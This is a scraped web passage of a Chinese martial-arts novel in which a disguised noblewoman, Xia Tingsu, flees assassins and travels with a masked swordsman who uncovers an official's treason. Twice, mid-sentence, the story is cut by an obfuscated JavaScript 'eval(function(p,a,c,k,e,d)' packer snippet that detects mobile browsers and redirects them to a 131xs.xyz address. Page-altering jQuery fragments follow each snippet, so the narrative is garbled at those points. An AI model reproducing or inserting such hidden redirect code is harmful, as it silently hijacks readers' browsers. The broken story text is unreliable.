她渐渐想起了近日的遭遇,想起了晓荷和晓莲,想起了自己的小院,想起了在夏家自己无法融入却又很温馨的热闹,她觉得有些委屈,有些梦幻,有些迷茫。 夏婷苏认为过了很久很久,久到她的身体几乎没有知觉了,久到她以为自己会永远待在这里,阳光才终于播撒到她身上。 王家派出了最可靠的侍卫来护送夏婷苏,此时商队已经到了一处城外的荒地,正准备与夏婷苏他们分开。为了保障夏婷苏的安全,他们整整行了大半日,等离肃州彻底远了,才打开夹板让夏婷苏出来。 夏婷苏揉了揉难以适应光线的双眼,活动了活动四肢,才觉得身体慢慢焕发了生机,她正要询问侍卫怎么去梁州时,一阵杂乱的马蹄声隐隐传来。 商队的领头面色一变,马上指挥商队出发,同时催促夏婷苏赶紧掩饰好自己。 商队驮着货物行动迟缓,不一会就被马蹄声赶上,商队的领头见来人并非是官兵松了一口气,指挥商队停下。 那群人穿着破旧的衣裳,个个都拿着兵器,看着凶神恶煞,见商队不走了就驱马把他们围了起来。 领头心知这些人多半就是附近山头的山匪,见商队拉着东西经过,就出来“劫富济贫”,但王家多年在外行商,跟这些匪徒也都打过交道,那领头也并未把他们放在心上,当下便朗声说道:“各位大哥,可是附近寨子里的好汉?” 那帮匪徒里带头的见他这样问也就驱马上前接话:“不错,众兄弟们正是附近万兴帮的人,你们此行敛了这么多百姓的财宝,罪孽深重,还不快把东西奉上?” 那领头没被匪徒喝住,反而淡淡一笑,说道:“我们这些人带的东西可不是敛了老百姓的,我们是奉了九龙寨大当家的令,运送些货物罢了。” 九龙寨乃是附近最大的匪帮,和王家有些往来,平日运货都是借着九龙寨的声望,才能平安通过的。 匪徒们听了九龙寨的名字都面面相觑起来,那匪徒老大见手底下的人先漏了怯不由得大怒,为了振起自己的威风,号令手下直接去绑了夏婷苏一行人,劫了他们的货。 商队领头也没想到这匪头子这么不知好歹,硬来的话自己虽然也不怕,但有夏婷苏在,多一事不如少一事,只得赔笑着说道:“这位大王,您的威风我们领略了,我们留下买路财,您现下放我们一马,既互相高兴,也避免了万兴帮和九龙寨生了嫌隙不是?” 那匪徒头子听了这话,还以为他们把九龙寨的名头搬出来只是为了唬人,其实根本就不认识什么九龙寨,当下更坚定了自己的选择,直接抓着刀指向商队,催促着手下:“听不懂我说话吗?把他们给我劫了。” 如此,众匪徒便都挥舞着兵器,咆哮着扑向了他们眼中待宰的羔羊! 商队领头也不再犹豫,低喝一声:“上!”众侍卫也如同鬼魅一样快速展开了进攻。 夏婷苏此时是男子装扮,在匪徒包围上来的时候就已经躲在了人群后面,此时大战开始她更是吓得不敢乱动,蹲在马车下面生怕不小心挨了刀剑。 那商队领头也持着刀找到夏婷苏,亲自在刀光剑影中护着她。 匪徒们虽然在人数上占优,但大多都是没什么本领的莽夫,此时在武艺高强的王家侍卫面前完全不够看,匪徒头领更是遭到了多人包夹,左支右绌,挨了好几处伤。 眼见着不敌,他也不恋战,闪身躲开一击,虚晃了一招,直接驱马逃了,借着速度优势甩开了追击上来的侍卫们,偏他不服气,从怀中拿出信号弹,用火石、火绒点了火,放上天去邀支援了。 商队领头看见不远处绽放的烟花脸色一变,若是这群匪窝里的几十个小角色还好对付,招来大部队他也难保夏婷苏平安,马上叫来几个靠谱的侍卫,让他们护送着夏婷苏赶紧突围,他负责留下拖延时间,吸引对方注意。 夏婷苏这时候哪有什么主意,侍卫叫她上了一匹马,又踹了脚马屁股,马就开始狂奔起来,侍卫施展轻功紧紧跟着。夏婷苏从来没骑过马,马又奔的飞快,只能紧紧搂着马脖子,一点力气都不敢松,不知过了多久,身边的声音逐渐安静下来,天色也开始慢慢变暗,跟上来的侍卫才终于让马停下来。 夏婷苏一路折腾,身体早累得提不起一点劲了,一路上全是凭着意志力在撑着,此时趴在马背上,连眼睛都懒得睁开了。 跟着夏婷苏的有两个侍卫,是王家最顶级的高手,他们本来的任务是送夏婷苏去梁州,实际却没有计划中的那般顺利,他们不得不走到了陌生的山上。 背离了原本的路线,哪怕不会再有匪徒追上来了,他们也不敢歇息,唯恐在路上再出点什么乱子。他们一人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178343|180830||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 牵着马,一人在附近探路,三人一马快速的朝着山下行去。 大约过了两个时辰,三人才来到了一家山下的客栈,此时天色已经完全暗了下来,两个侍卫再三考虑,还是决定今晚歇在客栈,明日再动身出发去梁州。 夏婷苏浑身酸胀,跟店家要了热水泡了澡才觉得稍稍缓解了一下,躺到床上没多久便沉沉睡去。 不知为何,夏婷苏明明已经累的不行却做了很多梦,梦断断续续有好的有坏的,彼此之间却没什么联系。 到了第二天早上,夏婷苏恍恍惚惚地起床,只记得其中几个片段,被梦境缠身的她头昏脑胀,一点不想再去梁州,但想起那些帮助自己出逃的人都为自己担负了极大的危险,又觉得不能辜负他们的付出,便终于还是说服了自己坚持下去。 客栈没有早饭,夏婷苏与两个侍卫草草吃了点干粮便准备上路。 待走到客栈门口时,迎面遇到了几个穿着灰色长袍的人,两个侍卫不动声色地把夏婷苏夹在中间,遮住了她的身形,可那几人早就注意到了他们,彼此对视了一眼,径直走进店内。 两个侍卫心中暗道不妙,恐怕行踪已经暴露,梁州也许已经布好了埋伏等着他们,走出店后不敢耽搁,展开了最快的速度向梁州相反的方向行去。 没过一会,有马蹄声渐渐逼近,几支箭也朝他们射来,两名侍卫先用兵器拨开箭矢,又朝着马屁股划了一剑,马嘶鸣一声,带着夏婷苏狂奔起来。 他们则停下脚步转过身握着长剑直直迎向了后面人的追击。 夏婷苏看到了两名侍卫为了她去阻击敌人,心中泛起酸涩,想到明明早上还在一起吃饭的同伴,现在又面临了危险,她不敢想他们将会面对什么,只能暗暗祈祷他们能平安。 她握紧缰绳,将身子伏低,第一次感觉到自己的生命是如此珍贵。 奔了一个时辰,夏婷苏感觉到速度开始在放缓,知道过不了多久又会被赶上,皱起眉想着办法。她开始试着用缰绳控制马的奔跑方向,发觉有效后她拽着马朝着山林方向跑,待到马速度渐渐放缓后,看准时机,拿衣服把头脸蒙住,朝着一处灌丛从马上跳了下去。 落地的时候,夏婷苏感觉身体都要摔碎了,就地滚了几圈,才把力道缓下来,夏婷苏不敢乱动身体,等全身的痛感慢慢消逝,才敢坐起来检查自己,她慢慢活动了活动全身。 兴许是因为天冷衣服穿得厚,她感觉到骨头没受伤,这才松了口气,身上的衣服倒是被灌木划破了好几处,也有流血的伤口,她没管那些,看着马已经跑得没影了,抓着自己带的小包袱,朝着另一个方向奔去。 不知过了多久,夏婷苏实在跑得没劲了才停下来喘气。她心中谋划起其他的逃生路线。 她实在想不到为什么来追捕她的人行动这么快,对于肃州附近的地形和城镇,她都看过地图烂熟于心,梁州肯定是去不成了,如果对自己的追捕力度这么大,逃到哪都会被追到,她只能离肃州越远越好,可她对于自己目前的位置都不清楚,实在难以决定去哪。 歇过一阵后,她把包袱中的贵重东西都放到怀里,只留下来点干粮和水囊背着,把手,脸弄脏,接着沿这个方向跑。 因为干粮和水都有,夏婷苏独自在山林行走了三日,身上的伤口开始结痂,她也学会了独自生火,好在一路上没有遇到野兽也没有被人追上。 她开始自己跟自己聊天解闷,开始自己处理面对的一切难题,她的手变得粗糙,脚上磨了很多泡,痛感无法对她造成威胁,人变得更黑更瘦,目光坚毅起来,和从前的世家小姐终究变得不一样了。 三日后,夏婷苏终于走到了有人烟的耕地,又遇上了一群结伴而行的流民,她趁着他们休息,不经意地混入到他们之中。起初,她什么话都不说,人群中也好像完全没有注意到多了一个人。 慢慢通过观察,夏婷苏确认了流民们彼此之间也并不熟络,于是她开始和人群中一个老妇人搭话,渐渐了解到这群人都是陇州来的流民。 因为陇州大旱,农民颗粒无收,官府拨下来的赈灾粮填不饱这么多农民的肚子,没有办法,很多人开始背井离乡,成为流民,到其他地方谋生,这行人就是在去庆州的路上。 夏婷苏知道自己不能长久的同这些人在一起,跟着他们走了几日,到了一处小镇子上就悄悄离开了。 她的干粮已经没多少了,在镇子上的店铺拿碎银换了些铜板,买够了干粮才继续出发。她没有别的选择,只能一路朝东走,不知道前方等待着她的是什么。 4. 第四章 这日夏婷苏走在土道上,发现路边的耕地开始变得开裂,她知道自己已经到了旱灾严重的区域,猜测这里的人可能因为旱灾逃荒去了。 果不其然,进了村子里,发现房屋们丝毫没有有人居住的痕迹,夏婷苏也不害怕,找了一间看上去比较结实的房子,简单收拾了一下,准备在这里休息一日。 她从这些房屋里找到了纸和笔,却没有发现墨,想了想还是把纸和笔放进包袱里,准备到下一个镇上买点墨练练字。 她找了根结实的树枝,在比较松软的土地上开始写写画画起来,凭着记忆,她试着画出这附近的地图,此地遭遇了旱灾,村里的水井也都打不上来一点水,那么很有可能几日内她都找不到水源,因此当务之急是找到附近的河流,把水囊灌满,才能继续上路。 她看着画出来的地图决定明天朝着北方走,经过差不多两日的行程就能找到河流,若是因为旱灾影响,河流也干涸了的话,她就必须得马不停蹄地去东边的城镇取水,否则凭借她现在水囊里的水,大概率会渴死在路上。 她悠悠叹出一口气,不知道这样的日子什么时候能到头。 到了第二日,夏婷苏沿着村外的土道继续开始走走停停,路边只偶尔看见一两棵干瘪苍老的树,想来周围村子遭遇旱灾已经很久了,原本她以为此地的人都去逃荒了,直到她遇到了一头体型异常硕大的黑牛和一个躺在牛背上的怪人。 夏婷苏孤身一人行走了这么多天,能在这里碰上人实在觉得纳闷,那巨牛壮硕得快和一间小屋子差不多大小了,躺在牛背上的怪人挺着一个肥硕的肚子一动不动,要不是因为他蒙着斗笠的脸发着巨大的鼾声都会教人以为躺在牛背上的是个死人。 夏婷苏顿感怪异,唯恐那一人一牛是阴间的小鬼,忍着胆怯,低着头快步超过他们,等走了好一会,听着那怪人的鼾声渐小,觉得应该甩掉那一人一牛了,才敢回头看,谁知他们还在她身后不远处跟着,夏婷苏赶紧转过头来继续加快脚步。 等到她走出了很远一截,再也听不到一点鼾声,回头看时那一人一牛竟然还在她身后不远处跟着,她不由得大骇,也顾不得路的方向了,开始狂奔起来,遇上岔路就胡乱选了走,可无论她速度怎样快,那一人一牛始终与她保持着一定的距离,既不赶上她,也不跟丢她,夏婷苏欲哭无泪,索性停下来不走了,看看他们到底要干什么。 而那巨牛仿佛甚通人性,不需要怪人指挥,看见夏婷苏不走了,也停下步子。夏婷苏没什么形象地盘腿坐在道边,盯着那怪人,不放过他的一丝举动,可她观察了半天,那怪人貌似还在睡着,她不禁疑惑:难道是这巨牛好不容易看见人了,就下意识跟着人走? 她站起身来,拍了拍身上的泥土,走上前去,准备和那怪人搭个话,告诉他他的牛走错路了,可她站在巨牛身边,觉得自己没什么气势,又不好贸然开口打扰人家睡觉,思忖了一阵,还是决定好心帮帮人家,至少别让这巨牛再一直跟着自己了。 她开口说道:“这位…兄台,您的牛好像走错道了,不知道为什么一直在跟着我走,您要不要醒醒再看看路?” 过了良久,那怪人始终没动静,夏婷苏怀疑是不是因为牛太大了,自己的声音上边人听不到,又大声把刚才的话重复了一遍,那怪人仍是一动不动,夏婷苏没法,只得继续大声喊他,约莫喊了一刻钟,那怪人才悠悠醒转。 只见他先伸手取了盖在脸上的斗笠,又从牛背上跳了下来,才开口问夏婷苏:“你刚才跟我说什么?” 夏婷苏见他身量颇高,身材肥硕,黝黑的面上许多坑坑洼洼的痘瘢,相貌丑陋,声音却爽朗潇洒,这才确信面前的人并非什么邪物,便开口答道:“这位兄台,您的坐骑跟了在下一路,劳您的驾看看是不是走错路了?” 那丑人环顾了四周,又抬头看了看太阳,这才对夏婷苏说道:“我没走错,我们家的牛或许是因为和你顺路才跟着你,别多想。” 夏婷苏对他的话直觉不靠谱,但又不好再说什么,只得说道:“那在下就先告辞了。”说罢,便头也不回的接着赶路了。 过了一会,那一人一牛又跟了上来,这次倒不是悄无声息的了,牛蹄发出“咚咚”的声音,不紧不慢地跟着她,夏婷苏终于按耐不住了,走到牛身旁,对着坐在牛背上的那人问道:“这位兄台,您到底是要去哪?” 那丑人低头望了她一眼,又把目光放到前方,悠悠地开口:“去找水。” 夏婷苏疑惑道:“敢问阁下知道哪里有水?”丑人回答:“知道。”夏婷苏心想反正无论自己去哪都能被这怪人跟着,索性自己也不走在前面了,开始与他攀谈起来,跟着这一人一牛走。 谁知这怪人似乎极为吝惜自己的话语,面对夏婷苏的询问,一个字都不多说,教夏婷苏半天都没摸明白这人是什么来头。 不知不觉间夏婷苏跟着那一人一牛竟然看到了生机盎然的植物,又过了一会还真找到了一处泉眼,夏婷苏暗忖这怪人对此地如此熟悉,不知是敌是友,且看看他有什么动作。哪知怪人仍不多言语,默默灌满水囊喝饱泉水,就径直骑着牛走了。 找到水源对于夏婷苏来说可真是意外之喜,现在也不用着急赶路了,她坐在一旁,慢慢饮着水。 这水本就清冽甘甜,在夏婷苏这种长时间缺水的人看来更是如同琼浆玉液一般美味,夏婷苏喝了一阵觉得差不多喝饱了,也没再停留,沿着来时候的路往回走,看着道边的绿色,心想此间农民尚且不知这一处泉眼,那怪人看着不像在本地居住又如何得知? 反正一路上没再有怪人相随,她也不忙知道那怪人来历,这会决定先赶到城镇,再逐渐南下,往南方的水乡去安居下来。那里远离肃州,应该不会再被牵扯到不明不白的事情里了。她自知自己一介女子,在这世道下连性命都难以保全,不知将来还会面临些什么,根本不可能去替夏家讨回什么公道,也就不幻想自己还能回到曾经夏家小姐的时光了。 她白天沿着小土路走,到了晚上就找处背风的地方休息,遇到没人的村庄偶尔也在里面休整休整,虽然孤独,但夏婷苏习惯了这种生活,也就不觉得无聊。 出人意料的是,没过几天她又遇到了那个骑着牛的怪人,有了上次取水的经历,夏婷苏对这怪人身上的疑惑甚多,不过心想既然又碰上了今后说不定有互相帮助的地方,就自然而然的上前搭话。 那怪人似乎心情颇好,跟夏婷苏说话时也多解释了几句,他们此行是要南下去往通州,夏婷苏心想自己也要南下,何不与他们同行?就告诉了那人自己也要前往通州,那人便欣然邀请她同行。 一路上,夏婷苏听他说起自己是肃州的农人,叫鲁阿三,此行去看望姑母,又说他家的牛天生巨大,干农活也力大无比,收成往往是当地最好的,夏婷苏观他气度不像是个农人,对当地的熟悉程度也不像是个外地人,但心知他既有意隐瞒也就不多问。 夏婷苏此时身着男子装扮,又体型瘦小,编了一个来历,说自己名叫王顺,今年十五岁,是梁州人,平日和母亲相依为命,母亲染病走后,自己就准备到通州投奔亲戚。鲁阿三淡淡一笑,说道:“王老弟生活可真不易的很。”夏婷苏便答道:“人人皆苦,这日子就只好这么过下去了。”想到自己近日来的辛苦奔波,也不由得满怀感慨地叹了口气。 路上走着走着,两人慢慢熟络起来,过不多时鲁阿三也从牛身上跳下来陪夏婷苏一块步行,到得傍晚,两人已走到一处名为放牛镇的地方,夏婷苏看了看身边人笑道:“这地名与你可相配得紧啊。”鲁阿三哈哈一笑,说道:“只不过我这牛食量也忒大了些,放起来可麻烦。”夏婷苏不禁好奇这巨牛有多能吃,似是看出夏婷苏的疑惑,鲁阿三说道:“我这牛一日大概能吃上五六十斤的干草。”夏婷苏咋舌,感叹一般人还真放不了这牛。 两人找到了一处客栈,准备晚上在此歇下。到了半夜三更,外面火光照天,喊杀声响起,被惊醒的夏婷苏忙披上衣裳打开房门准备瞧瞧,这时鲁阿三也正好打开房门,两人相视一眼,一块顺着旅馆大门朝外看,但见外面大街上有些身着粗衣的老百姓拿着火把和兵器与官兵相斗,镇子的东南角火光极亮,大约是着起了大火,鲁阿三对夏婷苏说了一句回去房里待着我去外面瞧瞧就冲了出去,夏婷苏不敢多待,马上跑回房中,把门拴上,犹自心惊。 这头鲁阿三跑到大街上,也不走显眼的 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夏婷苏恍然大悟,心中对鲁阿三的信任又增几分。两人坐在牛背上赶路,不一会天就大明了,等到得这日傍晚,两人已赶到了一处无名镇上投宿,算来相距通州已然不远,约莫再有两日就到通州了,此间地方较为富庶,百姓造反之事也再没遇到过。 等进入通州境内,大街上行人来来往往,衣着颇为光鲜,诸多店家生意兴隆,伙计的吆喝声十分热闹,完全看不出几百里外的百姓正经受着旱灾的影响,食不果腹,背井离乡。 夏婷苏和鲁阿三早已下牛,此时漫步在街上,觉得衣着打扮甚是不妥,夏婷苏便对鲁阿三道:“鲁大哥,咱们这便找地方歇下,小弟带你去成衣铺买些衣服穿穿。”鲁阿三欣然应允。 夏婷苏出身大户,见识阅历自是不凡,到了成衣铺,给鲁阿三配了一身衣服,给自己配了一身衣服,虽然不华贵,但把鲁阿三衬得高大威猛,夏婷苏更是白净舒朗的少年郎。 自此,夏婷苏终于感觉摆脱了厄运,迎来希望了。 买完衣服,两人在街上行走,鲁阿三看见一处首饰铺,指着对夏婷苏说道:“我明日去看望姑母,想备些礼物,但我一人去首饰铺看首饰有些不妥,也不会挑选,不知王老弟是否有时间随我去逛逛?好给我些意见。” 夏婷苏顺着他手指的方向一瞧,只见是家不怎么高档的首饰铺,心下暗忖看望长辈买首饰似乎不大合适,于是便对鲁阿三道:“鲁大哥,你去看长辈,我想还是买些布帛朴素些。” 鲁阿三也不在乎,只顺着夏婷苏的意思道:“那我们便去买两匹好布罢了。”说罢,便拦下几个路人,问清楚通州城内最好的布庄在哪,便与夏婷苏一同去了。 夏婷苏他们去的布庄名为荣安布庄,内陈布匹无数,夏婷苏一路琳琅满目的看过去,也不禁感叹这布庄收藏颇丰,不愧为通州最好的布庄,选了几种去问鲁阿三意见,谁知鲁阿三站在一旁似在思索什么,也没有忙着挑布,等到夏婷苏走到眼前才回过神来,匆匆瞥了一眼她挑的布,告诉夏婷苏都可以,便又开始魂不守舍起来,夏婷苏见他这样也没再说什么,只让伙计去裁布了。 原来鲁阿三是在听着远处两妇人交谈而出神。他是习武之人,耳力极其出众,自从来了布庄便被那两位妇人吸引了注意。那两位妇人大概是熟识的官家夫人,见面便彼此附耳交谈起来,却全被鲁阿三听了去。 这两位夫人的丈夫今晚在宝莲楼宴请一位从京城来的大官,据说这位大官是朝廷派出来的新任肃州节度使,肃州通州两地相距不远,本地官吏自然要套套近乎。 鲁阿三有心想去观摩观摩,便对夏婷苏道:“王小兄弟,自从来了通州便一直是你来掏钱,我这个当哥哥的怎么过意的去?今天晚上我请客带你去吃饭。”夏婷苏虽有些摸不着头脑但见他神色认真还是应了下来。 到了宝莲楼,夏婷苏迈步进去,虽觉此楼装饰上有些简陋朴素,但无论桌凳,地板,还是柱子都用品不凡,壁上的书画皆是名家之作,实是一座档次相当高的酒楼了。 夏婷苏暗忖鲁阿三对她并无恶意,但这人无豪富之象,平日出手也并不阔绰,把她带来这里或有其他什么含义,现在却不得而知,当下只跟在鲁阿三身后,听从他安排。 5. 第五章 进了楼来,鲁阿三管店小二要了一间包厢,拿着菜单也不管两人是否吃的完就点了一大堆菜,趁着还没上菜,他以如厕为借口从包间里离开,避开人群从窗口出去,施展轻功在楼外攀上攀下。 他曾与通州节度使打过交道,识得他的面孔,终于在顶楼一处包厢找到了通州节度使,当下屏息凝神猫在窗外,静静听着屋内人说话。 屋内共有四人说话,其中一人是通州节度使,想必其中还有一位新的肃州节度使,关于上任肃州节度使的事,鲁阿三听说过一些但知道的不甚详细,借此机会,或许可以知晓其中详情。 只听得那通州节度使说道:“夏大人路经通州就是我们的缘分,平日难得一见夏大人金面,今日既是我们几个做东,夏大人可要玩得尽兴,免得让别人说我们待客不周啊。”说罢便哈哈大笑起来。 又听得那夏大人答道:“不敢当,不敢当,今日我能来拜访各位大人乃是小弟我的荣幸,通州富庶无比,城内治理得井井有条,想必这都是几位大人的功劳,我还想来取取经呢。” 其他几位也都是互相谦虚,彼此奉承了几句,才逐渐说到正轨上,只听见一个不知名的官员说道:“夏大人继任肃州节度使,想来也是为了报家仇吧。” 那夏大人长叹一声,道:“正是如此,家兄在肃州任职多年,兢兢业业,却不料遭了小人的暗算,竟连全家老小都难逃此劫,我若不去督查此案又有何面目立于世间呢?” 这几句话说得情深意切,在座的其他官员都纷纷劝慰那夏大人。 不一会,夏大人又感叹道:“那逆贼竟然如此猖狂,把节度使都不放在眼里,又谈何让百姓安居乐业呢?” 这几句话说得隐含锋芒,其他几人也只是模棱两可的应两声。 那夏大人又说:“我的性命倒算不得什么,若是百姓遇到这样的恶霸岂不大吃苦头?我做官的意义又是何在?”其他几人更是不敢应声,鲁阿三听得这几句倒暗暗称赞起这夏大人有几分骨气。 又听见那夏大人说:“近年来,北夷人学习汉人传统,已经与汉人非常接近了,北夷人首领拓跋洪英明精干,对中原领土势在必得,我们身为百姓的父母官何不弃暗投明?既止干戈也是为自己谋一份好前途。” 此话一出,满座宾客皆脸色大变,鲁阿三也惊讶无比。 不等其他人有所反应,那夏大人又道:“诸位所食饭菜、酒中均含着些万命散,此药需得每年服用压制的解药,否则即便有一万条性命也逃不过骨肉溃烂直至死亡之苦。” 众人一听此言,再也按耐不住,质问夏大人道:“我们好心宴请你,没想到你别有居心,难道你就能活着走出通州了?” 那夏大人也不多言语,低喝一声:“进来!”门外随即抢进二三十个手携兵刃的汉子,鲁阿三偷偷探了一眼,见那些人手掌巨大,气度不凡,知道都是一等一的高手,那夏大人相貌堂堂,坐在那里便有一股渊渟岳峙的威势,自然更是一位大家。 鲁阿三心道这夏大人果真很有些本事,在人家的地盘上把人家治得服服帖帖。他不敢再多待,正准备离开,忽听到夏大人喝道:“窗外的朋友别忙着走,一起进来喝几杯罢。” 鲁阿三心知自己的行踪终于瞒不过这人,也不敢贸然进去,便道:“这位夏大人好生威风,在下先告辞了。” 说罢便施展轻功,向楼下跃去,他正准备逃离却猛然想到夏婷苏还被他留在酒楼里,他若不去救人夏婷苏多半没命,只好先跳入自己原先的包厢,抓起夏婷苏的胳膊就走。 夏婷苏不明白发生了什么事情,但感觉抓着自己胳膊的手似乎有着无比巨大的力量,她毫无反抗的能力,又看着鲁阿三急迫的神色不似作假,知道情况紧急,便也跟着鲁阿三跑。 刚走出门口,却见已有许多人手持兵刃包围了包厢,鲁阿三心下暗忖这些人动作好快,手上却不敢闲着,突然暴起打倒一人,把他手中的长剑夺了过来。 鲁阿三长剑在手,精神大振,只见长剑气势如虹,一道道白光闪过瞬间解决了七八人,他不敢留手,抖擞精神使开杀招,将其他人逼退后也不恋战,抓着夏婷苏就飞奔向门口,却见那夏大人早已候在那里。 他无路可退,握着长剑直刺夏大人胸口,夏大人身体一侧,手中变出一柄折扇,打向鲁阿三,鲁阿三不等招式使老就把剑回转削向夏大人,夏大人展开折扇挡住这一招。 两人乒乒乓乓地打起来,楼里其他客人哪敢围观,纷纷逃得远远的,只夏婷苏手臂被鲁阿三紧紧攥着,随着他闪转腾挪。 夏婷苏自从看见夏大人第一眼就觉得此人定和自己有着极深渊源,他相貌身形像极了父亲,但此时情况特殊,她也无暇去与这人相认,又怕他看清自己容貌,只低着头默不作声。 夏铭泽看着眼前这小子手上拉着个少年还能与自己战的不相上下,说出去岂不是大损自己声名,便催动内力,用折扇使出了自己成名已久的打穴功夫。 鲁阿三看见对方招式忽然变得大开大合,一柄折扇使得虎虎生风,不敢和他久战,使长剑护住自己和夏婷苏,硬拼着挨了他一击,拽着夏婷苏就冲出了酒楼,夏铭泽自持身份,不愿当街追杀一个少年人,只叫手下人去追他们。 鲁阿三叫他打了一击,虽避开了重要穴道,但脊背还是极痛,眼下不敢检查,只拽着夏婷苏飞檐走壁。 夏婷苏哪知鲁阿三竟身怀武功,又不知他从何处招惹来这么多仇家,只见他一路上不停遇上来阻截的杀手,虽把他们或伤或杀都击退了,但鲁阿三自己也挨了几刀,形势十分凶险。 自己只不过碰巧与鲁阿三同行,此时却被当成了他的同伙,好不容易躲过了肃州的劫难,到了通州仍不太平,眼下只好紧紧跟着鲁阿三才不至于立马成为刀下亡魂。 鲁阿三身怀绝学,往日从没惹下过这么大麻烦,知道自己性命危在旦夕,一柄长剑使得愈来愈快,到了最后已然化为剑影,才杀出一条血路冲了出去。 他携着夏婷苏,速度却不见放缓,一路奔到巨牛处,顾不得拿其他东西,把夏婷苏放上牛背就把牛赶得飞快,他自己却不上牛,一边将不断射来的箭拨开,一边追赶着牛。 到了城门处,却见那夏大人握着扇子领着一众劲装杀手气定神闲地等着他们,鲁阿三知道自己这回凶多吉少,但眼看着夏婷苏流露出畏惧的神色,他心想这小兄弟和这事一点关系都没有,我却带他惹下这么大麻烦,今日就是性命不要也得拼着护他离开。 鲁阿三一拽牛头便使巨牛停下,自己闪身上前迎战一众杀手。夏铭泽看了既惊且佩,既惊讶这人一拽之力竟能迫得巨牛停下,非自己所能及,也佩服这人面对这么多敌人也能不露胆怯地迎敌而上。 他不禁起了爱才之心,若是能将他收为己用,固然不会泄露秘密,也会是自己的一大助力,便准备趁鲁阿三力有不济之时救他一命。 鲁阿三自然不知夏铭泽的心思,只见鲁阿三招式忽而端方忽而诡谲,有时候飘飘忽忽的随手一剑竟是致人命的杀招,实是变化莫测,不多时便浑身浴血,宛如一位杀神降临。 夏铭泽见势不好,持着折扇亲自加入战团,既是为了防备己方好手殒命也是为了及时营救鲁阿三。 夏铭泽的加入,形势瞬间发生逆转,鲁阿三的一柄长剑已使得满是缺口,这当口也不及去夺人兵刃,加上战了多时身上也留了很多伤,只能先持守势再伺机进攻。 夏婷苏卧在牛背上看见鲁阿三形势愈发严峻,趁着没人注意到她,拽着牛缰绳就想要去支援鲁阿三,虽说她拽牛的方法十分笨拙,但那巨牛似乎明白夏婷苏的意思,迈开蹄子就朝着战团冲去。 夏铭泽几人忽见这怪牛冲来,势不可挡,连忙跃开。鲁阿三却是大喜,只轻轻一纵便跃上了牛背,稳稳当当地站在牛身上,在夜色的映衬下,他反手持剑,衣袂飘飘,实是潇洒无比。 看着那巨牛负着二人一路冲过了城门,夏铭泽一众人皆面色难看,夏铭泽当下也不说什么,只重重哼了一声,拂袖而去,其余人面面相觑,均觉脸上无光。 待离通州城远了,鲁阿三才闭目盘膝打起坐来。夏婷苏一肚子疑惑,看着他浑身是伤也不好问。 过了一会,鲁阿三觉得气息渐渐均匀了,才睁开眼,看着夏婷苏正望着自己,这才笑道:“王小兄弟,此番吓到你了吧。” 见夏婷苏摇头,他便接着道:“唉,我不过是见人家在酒楼花费甚是奢侈,猜想是哪位大户人家,正想去套套近乎,没想到却听到了人家一个秘密,又不小心被人发现了,只好乒乒乓乓打了起来。” 夏婷苏虽觉他的话不尽详实,但也不说什么,只点了点头,接着听他道:“我竟闯下这么大的篓子,要不是你突然驾牛赶到救了我一命,只怕我性命不保,也连累了你和我一同逃跑,不过你放心,我一定竭我全力护你周全。”夏婷苏仍点点头。 过了半晌,夏婷苏问道:“鲁大哥身手超凡,想必不是普通农人吧?”鲁阿三微微一笑,答道:“自然是要比普通农人特殊些。”夏婷苏见他没有要接着说下去的想法,也就不再问了。 等到天明,巨牛行到一处溪水旁,鲁阿三牵着它去吃草,夏婷苏则坐在一旁静静看着溪水,不知在想些什么。 等鲁阿三回来时,手上已没了那柄血迹斑斑的长剑,身上也换了套干净衣服,身形似乎也变得修长挺拔了,他径直走向溪水,洗了会脸,不知使了什么法子,再抬头时突然换了一幅面孔,只见他剑眉星目,气质洒脱,脸上还沾着晶莹的水珠,正笑吟吟地看着一脸惊奇的夏婷苏。 夏婷苏万万料不到原来那个一脸痘瘢的丑人竟会变成如今这幅模样,待鲁阿三走近些,才对她解释道:“那帮人势力颇大,恐怕不肯善罢甘休,我只好换副面孔以免被人认出,再打起来就不太好了。” 感受到夏婷苏仍略有惊疑的目光,鲁阿三又道:“我本名叫杨若韫,这也是我本来的身形面容,这回没再骗你啦。因为我闯荡江湖多时,露出本容多有不便,只好这么隐瞒一下,姑娘勿怪。” 听到前面几句时还好,待听到最后一句,夏婷苏瞳孔一震,看着杨若韫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178345|180830||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不知说什么好。 杨若韫早料到她会是这幅神情,解释道:“姑娘也知我是习武之人,对身体的了解自然更深刻些,这才瞧出来姑娘的身份,不过姑娘想想,我既知你是女子,一路上可有什么无礼之处?” 夏婷苏心里想了想,觉得他一路上并没什么无礼之处,自己对他也颇为信任,这才点了点头,开口问他:“既然有人来追杀我们,那我们现在该去哪?” 杨若韫却不露口风,只对夏婷苏说:“姑娘这一身装扮似乎也有些不妥,让通州那帮人知道咱们的行踪,仍不免要乒乒乓乓一场,若是姑娘对我不甚嫌弃,我倒有件干净衣裳可以请姑娘换上,待到前面市镇时再赔姑娘一件新衣。” 夏婷苏点头同意了,拿着杨若韫的衣裳到树林中换好,出来时又在脸上抹了些黄土。 虽然更改得并不彻底,但不细瞧也看不出端倪,她昨晚刻意低头,在夜色掩饰下没什么人瞧见她,自然也无需多做掩饰。 